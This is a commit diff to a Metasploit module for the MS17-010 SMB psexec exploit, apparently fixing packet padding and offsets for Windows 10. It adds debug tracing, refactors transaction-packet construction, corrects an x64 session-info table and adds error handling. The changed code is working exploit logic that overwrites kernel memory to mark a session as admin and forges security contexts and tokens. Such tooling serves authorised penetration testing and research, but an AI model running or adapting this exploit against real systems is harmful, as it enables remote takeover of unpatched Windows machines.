fixed padding/offsets for win 10
parent
237c3f7b2c
commit
7cc00c0e10
|
@ -48,6 +48,11 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
|
||||
# IsNullSession = 0, IsAdmin = 1
|
||||
write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET'])
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1")
|
||||
end
|
||||
|
||||
modify_token()
|
||||
|
||||
@ctx['rekt'] = true # set if we need to clean up the token
|
||||
|
@ -82,10 +87,22 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
fmt = @ctx['PTR_FMT']
|
||||
# read session struct to get SecurityContext address
|
||||
sessionData = read_data(@ctx['session'], 0x100)
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("Session Data: #{bin_to_hex(sessionData)}")
|
||||
vprint_status("session dat len = #{sessionData.length}")
|
||||
vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
|
||||
vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
|
||||
|
||||
end
|
||||
#value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
|
||||
#secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
||||
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
|
||||
end
|
||||
|
||||
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
|
||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||
|
@ -120,16 +137,25 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
|
||||
|
||||
else
|
||||
else
|
||||
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
||||
# copy SecurityContext for restoration
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
|
||||
end
|
||||
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
|
||||
end
|
||||
|
||||
@ctx['secCtxData'] = secCtxData
|
||||
@ctx['secCtxAddr'] = secCtxAddr
|
||||
|
||||
# see FAKE_SECCTX detail at top of the file
|
||||
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
|
||||
if datastore['DBGTRACE']
|
||||
vprint_status("Overwrote fake secctx")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -785,7 +811,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
end
|
||||
|
||||
def bin_to_hex(s)
|
||||
s.each_byte.map { |b| b.to_s(16) }.join
|
||||
s.each_byte.map { |b| "%02x" % b }.join
|
||||
end
|
||||
|
||||
def recv_transaction_data(mid, len)
|
||||
|
@ -818,12 +844,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
param = param.b
|
||||
data = data.b
|
||||
|
||||
# smb + wct + pb + bcc
|
||||
param_offset = 32 + 39 + setup.length + 2 # 73 if setup.length == 0
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
|
||||
|
||||
|
@ -832,44 +852,32 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['DataOffset'] = param_offset + param.length
|
||||
pkt['Payload'].v['SetupCount'] = setup.length
|
||||
pkt['Payload'].v['SetupData'] = setup
|
||||
|
||||
pkt['Payload'].v['Subcommand'] = subcommand
|
||||
|
||||
pkt['Payload'].v['Payload'] = param + data # strip padding
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
|
||||
return pkt
|
||||
end
|
||||
|
||||
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||
|
||||
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
param = param.b
|
||||
data = data.b
|
||||
|
||||
base_offset = pkt.to_s.length - 4
|
||||
param_offset = if param != '' then base_offset else 0 end
|
||||
data_offset = if data != '' then base_offset + param.length else 0 end
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
||||
pkt['Payload']['SMB'].v['WordCount'] = wct
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.length
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['DataOffset'] = data_offset
|
||||
pkt['Payload'].v['DataDisplace'] = dataDisplacement
|
||||
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
|
||||
|
||||
pkt['Payload'].v['Payload'] = param + data
|
||||
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
pkt
|
||||
end
|
||||
|
||||
|
@ -877,35 +885,58 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
pkt = CONST::SMB_TRANS_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
param = param.b
|
||||
data = data.b
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
|
||||
|
||||
base_offset = pkt.to_s.length - 4
|
||||
param_offset = if param != '' then base_offset else 0 end
|
||||
data_offset = if data != '' then base_offset + param.length else 0 end
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
|
||||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['DataOffset'] = data_offset
|
||||
pkt['Payload'].v['SetupCount'] = setup.length
|
||||
pkt['Payload'].v['SetupData'] = setup
|
||||
|
||||
pkt['Payload'].v['Flags'] = 0
|
||||
pkt['Payload'].v['Timeout'] = 0xffffffff
|
||||
|
||||
pkt['Payload'].v['Payload'] = param + data
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
# Note: Setup length is included when len(param) is called
|
||||
def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
|
||||
pkt['Payload'].v['ParamOffset'] = 0
|
||||
pkt['Payload'].v['DataOffset'] = 0
|
||||
|
||||
# SMB header: 32 bytes
|
||||
# WordCount: 1 bytes
|
||||
# ByteCount: 2 bytes
|
||||
#offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
|
||||
len = pkt.to_s.length - 4
|
||||
param = param.b
|
||||
data = data.b
|
||||
offset = len
|
||||
|
||||
transData = ''
|
||||
if param != ''
|
||||
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||
pkt['Payload'].v['ParamOffset'] = offset + padLen
|
||||
transData = ("\x00" * padLen) + param
|
||||
offset += padLen + param.length
|
||||
end
|
||||
|
||||
if data != ''
|
||||
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||
pkt['Payload'].v['DataOffset'] = offset + padLen
|
||||
transData += ("\x00" * padLen) + data
|
||||
end
|
||||
|
||||
pkt['Payload'].v['Payload'] = transData
|
||||
pkt
|
||||
end
|
||||
|
||||
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
@ -1260,7 +1291,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
'x64' => {
|
||||
'CPUARCH' => X64_INFO,
|
||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||
'SESSION' => WIN8_32_SESSION_INFO
|
||||
'SESSION' => WIN8_64_SESSION_INFO
|
||||
},
|
||||
},
|
||||
'WINXP' => {
|
||||
|
|
|
@ -102,6 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
|
||||
print_error("#{e.message}")
|
||||
rescue ::Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::LoginError,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionRefused => e
|
||||
|
|
Loading…
Reference in New Issue